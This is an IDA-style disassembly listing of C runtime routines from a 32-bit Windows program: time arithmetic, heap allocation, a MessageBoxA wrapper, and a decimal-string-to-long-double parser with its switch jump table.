; ---------------------------------------------------------------------------
loc_414929: ; CODE XREF: sub_414842+BAj
mov eax, [ebp+arg_1C]
mov dword_420674, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_4205D0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_420678, eax
jns short loc_414961
add eax, 5265C00h
dec ecx
mov dword_420678, eax
jmp short loc_414972
; ---------------------------------------------------------------------------
loc_414961: ; CODE XREF: sub_414842+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_414978
sub eax, edx
inc ecx
mov dword_420678, eax
loc_414972: ; CODE XREF: sub_414842+11Dj
mov dword_420674, ecx
loc_414978: ; CODE XREF: sub_414842+126j
mov dword_420670, ebx
loc_41497E: ; CODE XREF: sub_414842+E5j
pop esi
pop ebx
pop ebp
retn
sub_414842 endp
; =============== S U B R O U T I N E =======================================
sub_414982 proc near ; CODE XREF: sub_4128E9+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_414993
add esp, 0Ch
retn
sub_414982 endp
; =============== S U B R O U T I N E =======================================
sub_414993 proc near ; CODE XREF: sub_414982+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_480E61[eax], cl
jnz short loc_4149C0
cmp [esp+arg_4], 0
jz short loc_4149B9
movzx eax, word_41FD82[eax*2]
and eax, [esp+arg_4]
jmp short loc_4149BB
; ---------------------------------------------------------------------------
loc_4149B9: ; CODE XREF: sub_414993+16j
xor eax, eax
loc_4149BB: ; CODE XREF: sub_414993+24j
test eax, eax
jnz short loc_4149C0
retn
; ---------------------------------------------------------------------------
loc_4149C0: ; CODE XREF: sub_414993+Fj
; sub_414993+2Aj
push 1
pop eax
retn
sub_414993 endp
; =============== S U B R O U T I N E =======================================
sub_4149C4 proc near ; CODE XREF: sub_41303D+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_47FBDC, ebx
push esi
push edi
jnz short loc_414A13
push offset aUser32_dll ; "user32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_414A49
mov esi, dword_417088
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_47FBDC, eax
jz short loc_414A49
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_47FBE0, eax
call esi ; GetProcAddress
mov dword_47FBE4, eax
loc_414A13: ; CODE XREF: sub_4149C4+Bj
mov eax, dword_47FBE0
test eax, eax
jz short loc_414A32
call eax
mov ebx, eax
test ebx, ebx
jz short loc_414A32
mov eax, dword_47FBE4
test eax, eax
jz short loc_414A32
push ebx
call eax
mov ebx, eax
loc_414A32: ; CODE XREF: sub_4149C4+56j
; sub_4149C4+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_47FBDC
loc_414A45: ; CODE XREF: sub_4149C4+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_414A49: ; CODE XREF: sub_4149C4+1Cj
; sub_4149C4+33j
xor eax, eax
jmp short loc_414A45
sub_4149C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A4D proc near ; CODE XREF: sub_4133A7+22p
; sub_4133A7+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_414A6E
test esi, esi
jnz short loc_414A68
push 1
pop esi
loc_414A68: ; CODE XREF: sub_414A4D+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_414A6E: ; CODE XREF: sub_414A4D+12j
; sub_414A4D+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_414ACD
mov eax, dword_480F88
cmp eax, 3
jnz short loc_414A99
mov eax, [ebp+arg_0]
cmp eax, dword_480F80
ja short loc_414AB8
push eax
call sub_40EFAC
mov edi, eax
pop ecx
test edi, edi
jnz short loc_414AE3
jmp short loc_414AB8
; ---------------------------------------------------------------------------
loc_414A99: ; CODE XREF: sub_414A4D+30j
cmp eax, 2
jnz short loc_414AB8
cmp esi, dword_41FC34
ja short loc_414AB8
mov eax, esi
shr eax, 4
push eax
call sub_40FA4F
mov edi, eax
pop ecx
test edi, edi
jnz short loc_414AF7
loc_414AB8: ; CODE XREF: sub_414A4D+3Bj
; sub_414A4D+4Aj ...
push esi
push 8
push dword_480F84
call dword_417104 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_414AF1
loc_414ACD: ; CODE XREF: sub_414A4D+26j
cmp dword_47F96C, 0
jz short loc_414AF1
push esi
call sub_40EA23
test eax, eax
pop ecx
jz short loc_414AFA
jmp short loc_414A6E
; ---------------------------------------------------------------------------
loc_414AE3: ; CODE XREF: sub_414A4D+48j
push [ebp+arg_0]
loc_414AE6: ; CODE XREF: sub_414A4D+ABj
push 0
push edi
call sub_40B630
add esp, 0Ch
loc_414AF1: ; CODE XREF: sub_414A4D+7Ej
; sub_414A4D+87j
mov eax, edi
loc_414AF3: ; CODE XREF: sub_414A4D+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414AF7: ; CODE XREF: sub_414A4D+69j
push esi
jmp short loc_414AE6
; ---------------------------------------------------------------------------
loc_414AFA: ; CODE XREF: sub_414A4D+92j
xor eax, eax
jmp short loc_414AF3
sub_414A4D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41344C
loc_414AFE: ; CODE XREF: sub_41344C+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_480C20, esi
jle short loc_414B51
loc_414B0D: ; CODE XREF: sub_41344C+1703j
mov eax, dword_47FC08
mov eax, [eax+esi*4]
test eax, eax
jz short loc_414B48
test byte ptr [eax+0Ch], 83h
jz short loc_414B2C
push eax
call sub_40C3BA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_414B2C
inc edi
loc_414B2C: ; CODE XREF: sub_41344C+16D1j
; sub_41344C+16DDj
cmp esi, 14h
jl short loc_414B48
mov eax, dword_47FC08
push dword ptr [eax+esi*4]
call sub_40B771
mov eax, dword_47FC08
pop ecx
and dword ptr [eax+esi*4], 0
loc_414B48: ; CODE XREF: sub_41344C+16CBj
; sub_41344C+16E3j
inc esi
cmp esi, dword_480C20
jl short loc_414B0D
loc_414B51: ; CODE XREF: sub_41344C+16BFj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41344C
; =============== S U B R O U T I N E =======================================
sub_414B56 proc near ; CODE XREF: sub_4137FF+2Bp
; sub_4137FF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_414B6C
cmp ecx, esi
jnb short loc_414B6F
loc_414B6C: ; CODE XREF: sub_414B56+10j
push 1
pop eax
loc_414B6F: ; CODE XREF: sub_414B56+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_414B56 endp
; =============== S U B R O U T I N E =======================================
sub_414B77 proc near ; CODE XREF: sub_414C30+40p
; sub_414C30+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_414B56
add esp, 0Ch
test eax, eax
jz short loc_414BA9
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_414B56
add esp, 0Ch
test eax, eax
jz short loc_414BA9
inc dword ptr [esi+8]
loc_414BA9: ; CODE XREF: sub_414B77+19j
; sub_414B77+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_414B56
add esp, 0Ch
test eax, eax
jz short loc_414BC1
inc dword ptr [esi+8]
loc_414BC1: ; CODE XREF: sub_414B77+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_414B56
add esp, 0Ch
pop edi
pop esi
retn
sub_414B77 endp
; =============== S U B R O U T I N E =======================================
sub_414BD5 proc near ; CODE XREF: sub_414C30+30p
; sub_414C30+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_414BD5 endp
; =============== S U B R O U T I N E =======================================
sub_414C03 proc near ; CODE XREF: sub_4151C8+1C8p
; sub_415790+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_414C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C30 proc near ; CODE XREF: sub_414CF7+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_414CA4
push edi
mov [ebp+arg_8], eax
loc_414C57: ; CODE XREF: sub_414C30+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_414BD5
push ebx
call sub_414BD5
lea eax, [ebp+var_10]
push eax
push ebx
call sub_414B77
push ebx
call sub_414BD5
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_414B77
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_414C57
xor edx, edx
pop edi
loc_414CA4: ; CODE XREF: sub_414C30+21j
; sub_414C30+9Fj
cmp [ebx+8], edx
jnz short loc_414CD1
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_414CA4
; ---------------------------------------------------------------------------
loc_414CD1: ; CODE XREF: sub_414C30+77j
mov esi, 8000h
loc_414CD6: ; CODE XREF: sub_414C30+B9j
test [ebx+8], esi
jnz short loc_414CEB
push ebx
call sub_414BD5
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_414CD6
; ---------------------------------------------------------------------------
loc_414CEB: ; CODE XREF: sub_414C30+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_414C30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CF7 proc near ; CODE XREF: sub_413B48+17p
; sub_413B75+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_414D32: ; CODE XREF: sub_414CF7+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_414D48
cmp cl, 9
jz short loc_414D48
cmp cl, 0Ah
jz short loc_414D48
cmp cl, 0Dh
jnz short loc_414D4B
loc_414D48: ; CODE XREF: sub_414CF7+40j
; sub_414CF7+45j ...
inc edi
jmp short loc_414D32
; ---------------------------------------------------------------------------
loc_414D4B: ; CODE XREF: sub_414CF7+4Fj
push 4
pop esi
loc_414D4E: ; CODE XREF: sub_414CF7+AEj
; sub_414CF7+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_414FD1 ; default
; jumptable 00414D5A case 10
jmp off_415198[eax*4] ; switch jump
loc_414D61: ; DATA XREF: .nsp0:off_415198o
cmp bl, 31h ; jumptable 00414D5A case 0
jl short loc_414D72
cmp bl, 39h
jg short loc_414D72
loc_414D6B: ; CODE XREF: sub_414CF7+C4j
; sub_414CF7+118j
push 3
jmp loc_414F8F
; ---------------------------------------------------------------------------
loc_414D72: ; CODE XREF: sub_414CF7+6Dj
; sub_414CF7+72j
cmp bl, byte_41FF88
jnz short loc_414D81
loc_414D7A: ; CODE XREF: sub_414CF7+124j
push 5
jmp loc_414FC7
; ---------------------------------------------------------------------------
loc_414D81: ; CODE XREF: sub_414CF7+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_414DA7
dec eax
dec eax
jz short loc_414D9B
sub eax, 3
jnz loc_41506A
jmp loc_414E2A
; ---------------------------------------------------------------------------
loc_414D9B: ; CODE XREF: sub_414CF7+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_414D4E
; ---------------------------------------------------------------------------
loc_414DA7: ; CODE XREF: sub_414CF7+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_414D4E
; ---------------------------------------------------------------------------
loc_414DB0: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp bl, 31h ; jumptable 00414D5A case 1
mov [ebp+var_10], edx
jl short loc_414DBD
cmp bl, 39h
jle short loc_414D6B
loc_414DBD: ; CODE XREF: sub_414CF7+BFj
cmp bl, byte_41FF88
jz loc_414E85
cmp bl, 2Bh
jz short loc_414DFF
cmp bl, 2Dh
jz short loc_414DFF
cmp bl, 30h
jz short loc_414E2A
loc_414DD8: ; CODE XREF: sub_414CF7+207j
cmp bl, 43h
jle loc_41506A
cmp bl, 45h
jle short loc_414DF8
cmp bl, 63h
jle loc_41506A
cmp bl, 65h
jg loc_41506A
loc_414DF8: ; CODE XREF: sub_414CF7+EDj
push 6
jmp loc_414FC7
; ---------------------------------------------------------------------------
loc_414DFF: ; CODE XREF: sub_414CF7+D5j
; sub_414CF7+DAj ...
dec edi
push 0Bh
jmp loc_414FC7
; ---------------------------------------------------------------------------
loc_414E07: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp bl, 31h ; jumptable 00414D5A case 2
jl short loc_414E15
cmp bl, 39h
jle loc_414D6B
loc_414E15: ; CODE XREF: sub_414CF7+113j
cmp bl, byte_41FF88
jz loc_414D7A
cmp bl, 30h
jnz loc_414FDF
loc_414E2A: ; CODE XREF: sub_414CF7+9Fj
; sub_414CF7+DFj
mov eax, edx
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414E31: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
mov [ebp+var_10], edx ; jumptable 00414D5A case 3
loc_414E34: ; CODE XREF: sub_414CF7+184j
cmp dword_41FF84, edx
jle short loc_414E4D
movzx eax, bl
push esi
push eax
call sub_4114D9
pop ecx
pop ecx
push 1
pop edx
jmp short loc_414E5B
; ---------------------------------------------------------------------------
loc_414E4D: ; CODE XREF: sub_414CF7+143j
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_414E5B: ; CODE XREF: sub_414CF7+154j
test eax, eax
jz short loc_414E7D
cmp [ebp+var_4], 19h
jnb short loc_414E75
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_414E78
; ---------------------------------------------------------------------------
loc_414E75: ; CODE XREF: sub_414CF7+16Cj
inc [ebp+var_8]
loc_414E78: ; CODE XREF: sub_414CF7+17Cj
mov bl, [edi]
inc edi
jmp short loc_414E34
; ---------------------------------------------------------------------------
loc_414E7D: ; CODE XREF: sub_414CF7+166j
cmp bl, byte_41FF88
jnz short loc_414EEC
loc_414E85: ; CODE XREF: sub_414CF7+CCj
mov eax, esi
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414E8C: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp [ebp+var_4], 0 ; jumptable 00414D5A case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_414EA5
loc_414E98: ; CODE XREF: sub_414CF7+1ACj
cmp bl, 30h
jnz short loc_414EA5
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_414E98
; ---------------------------------------------------------------------------
loc_414EA5: ; CODE XREF: sub_414CF7+19Fj
; sub_414CF7+1A4j ...
cmp dword_41FF84, edx
jle short loc_414EBE
movzx eax, bl
push esi
push eax
call sub_4114D9
pop ecx
pop ecx
push 1
pop edx
jmp short loc_414ECC
; ---------------------------------------------------------------------------
loc_414EBE: ; CODE XREF: sub_414CF7+1B4j
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_414ECC: ; CODE XREF: sub_414CF7+1C5j
test eax, eax
jz short loc_414EEC
cmp [ebp+var_4], 19h
jnb short loc_414EE7
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_414EE7: ; CODE XREF: sub_414CF7+1DDj
mov bl, [edi]
inc edi
jmp short loc_414EA5
; ---------------------------------------------------------------------------
loc_414EEC: ; CODE XREF: sub_414CF7+18Cj
; sub_414CF7+1D7j
cmp bl, 2Bh
jz loc_414DFF
cmp bl, 2Dh
jz loc_414DFF
jmp loc_414DD8
; ---------------------------------------------------------------------------
loc_414F03: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp dword_41FF84, edx ; jumptable 00414D5A case 5
mov [ebp+var_24], edx
jle short loc_414F1F
movzx eax, bl
push esi
push eax
call sub_4114D9
pop ecx
pop ecx
push 1
pop edx
jmp short loc_414F2D
; ---------------------------------------------------------------------------
loc_414F1F: ; CODE XREF: sub_414CF7+215j
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_414F2D: ; CODE XREF: sub_414CF7+226j
test eax, eax
jz loc_414FDF
mov eax, esi
jmp short loc_414F90
; ---------------------------------------------------------------------------
loc_414F39: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
lea ecx, [edi-2] ; jumptable 00414D5A case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_414F49
cmp bl, 39h
jle short loc_414F8D
loc_414F49: ; CODE XREF: sub_414CF7+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_414FC5
dec eax
dec eax
jz short loc_414FB9
sub eax, 3
jnz loc_41506D
loc_414F5E: ; CODE XREF: sub_414CF7+2A4j
push 8
jmp short loc_414FC7
; ---------------------------------------------------------------------------
loc_414F62: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
mov [ebp+var_20], edx ; jumptable 00414D5A case 8
loc_414F65: ; CODE XREF: sub_414CF7+276j
cmp bl, 30h
jnz short loc_414F6F
mov bl, [edi]
inc edi
jmp short loc_414F65
; ---------------------------------------------------------------------------
loc_414F6F: ; CODE XREF: sub_414CF7+271j
cmp bl, 31h
jl loc_41506A
cmp bl, 39h
jg loc_41506A
jmp short loc_414F8D
; ---------------------------------------------------------------------------
loc_414F83: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp bl, 31h ; jumptable 00414D5A case 7
jl short loc_414F96
cmp bl, 39h
jg short loc_414F96
loc_414F8D: ; CODE XREF: sub_414CF7+250j
; sub_414CF7+28Aj
push 9
loc_414F8F: ; CODE XREF: sub_414CF7+76j
pop eax
loc_414F90: ; CODE XREF: sub_414CF7+240j
dec edi
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414F96: ; CODE XREF: sub_414CF7+28Fj
; sub_414CF7+294j
cmp bl, 30h
jnz short loc_414FDF
jmp short loc_414F5E
; ---------------------------------------------------------------------------
loc_414F9D: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
cmp [ebp+arg_18], 0 ; jumptable 00414D5A case 11
jz short loc_414FCD
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_414FC5
dec eax
dec eax
jnz loc_41506D
loc_414FB9: ; CODE XREF: sub_414CF7+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414FC5: ; CODE XREF: sub_414CF7+258j
; sub_414CF7+2B8j
push 7
loc_414FC7: ; CODE XREF: sub_414CF7+85j
; sub_414CF7+103j ...
pop eax
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414FCD: ; CODE XREF: sub_414CF7+2AAj
push 0Ah
dec edi
pop eax
loc_414FD1: ; CODE XREF: sub_414CF7+5Dj
; sub_414CF7+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00414D5A case 10
jz loc_41506F
jmp loc_414D4E
; ---------------------------------------------------------------------------
loc_414FDF: ; CODE XREF: sub_414CF7+12Dj
; sub_414CF7+238j ...
mov edi, [ebp+arg_8]
jmp loc_41506F
; ---------------------------------------------------------------------------
loc_414FE7: ; CODE XREF: sub_414CF7+63j
; DATA XREF: .nsp0:off_415198o
mov [ebp+var_20], 1 ; jumptable 00414D5A case 9
xor esi, esi
loc_414FF0: ; CODE XREF: sub_414CF7+339j
cmp dword_41FF84, 1
jle short loc_415008
movzx eax, bl
push 4
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_415017
; ---------------------------------------------------------------------------
loc_415008: ; CODE XREF: sub_414CF7+300j
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_415017: ; CODE XREF: sub_414CF7+30Fj
test eax, eax
jz short loc_415037
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_415032
mov bl, [edi]
inc edi
jmp short loc_414FF0
; ---------------------------------------------------------------------------
loc_415032: ; CODE XREF: sub_414CF7+334j
mov esi, 1451h
loc_415037: ; CODE XREF: sub_414CF7+322j
mov [ebp+var_1C], esi
loc_41503A: ; CODE XREF: sub_414CF7+371j
cmp dword_41FF84, 1
jle short loc_415052
movzx eax, bl
push 4
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_415061
; ---------------------------------------------------------------------------
loc_415052: ; CODE XREF: sub_414CF7+34Aj
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_415061: ; CODE XREF: sub_414CF7+359j
test eax, eax
jz short loc_41506A
mov bl, [edi]
inc edi
jmp short loc_41503A
; ---------------------------------------------------------------------------
loc_41506A: ; CODE XREF: sub_414CF7+99j
; sub_414CF7+E4j ...
dec edi
jmp short loc_41506F
; ---------------------------------------------------------------------------
loc_41506D: ; CODE XREF: sub_414CF7+261j
; sub_414CF7+2BCj
mov edi, ecx
loc_41506F: ; CODE XREF: sub_414CF7+2DDj
; sub_414CF7+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_415157
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41509B
cmp [ebp+var_45], 5
jl short loc_41508F
inc [ebp+var_45]
loc_41508F: ; CODE XREF: sub_414CF7+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41509E
; ---------------------------------------------------------------------------
loc_41509B: ; CODE XREF: sub_414CF7+38Dj
mov eax, [ebp+var_C]
loc_41509E: ; CODE XREF: sub_414CF7+3A2j
cmp [ebp+var_4], 0
jbe loc_41514D
loc_4150A8: ; CODE XREF: sub_414CF7+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4150B6
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4150A8
; ---------------------------------------------------------------------------
loc_4150B6: ; CODE XREF: sub_414CF7+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_414C30
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4150D5
neg eax
loc_4150D5: ; CODE XREF: sub_414CF7+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4150E0
add eax, [ebp+arg_10]
loc_4150E0: ; CODE XREF: sub_414CF7+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4150E8
sub eax, [ebp+arg_14]
loc_4150E8: ; CODE XREF: sub_414CF7+3ECj
cmp eax, 1450h
jle short loc_41511F
mov [ebp+var_2C], 1
loc_4150F6: ; CODE XREF: sub_414CF7+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_415102: ; CODE XREF: sub_414CF7+454j
; sub_414CF7+45Ej
cmp [ebp+var_2C], 0
jz short loc_415168
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41517D
; ---------------------------------------------------------------------------
loc_41511F: ; CODE XREF: sub_414CF7+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41512F
mov [ebp+var_30], 1
jmp short loc_4150F6
; ---------------------------------------------------------------------------
loc_41512F: ; CODE XREF: sub_414CF7+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_4159B0
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_415102
; ---------------------------------------------------------------------------
loc_41514D: ; CODE XREF: sub_414CF7+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_415102
; ---------------------------------------------------------------------------
loc_415157: ; CODE XREF: sub_414CF7+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41517D
; ---------------------------------------------------------------------------
loc_415168: ; CODE XREF: sub_414CF7+40Fj
cmp [ebp+var_30], 0
jz short loc_41517D
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41517D: ; CODE XREF: sub_414CF7+426j
; sub_414CF7+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_414CF7 endp
; ---------------------------------------------------------------------------
off_415198 dd offset loc_414D61 ; DATA XREF: sub_414CF7+63r
dd offset loc_414DB0 ; jump table for switch statement
dd offset loc_414E07
dd offset loc_414E31
dd offset loc_414E8C
dd offset loc_414F03
dd offset loc_414F39
dd offset loc_414F83
dd offset loc_414F62
dd offset loc_414FE7
dd offset loc_414FD1
dd offset loc_414F9D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151C8 proc near ; CODE XREF: sub_413C19+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
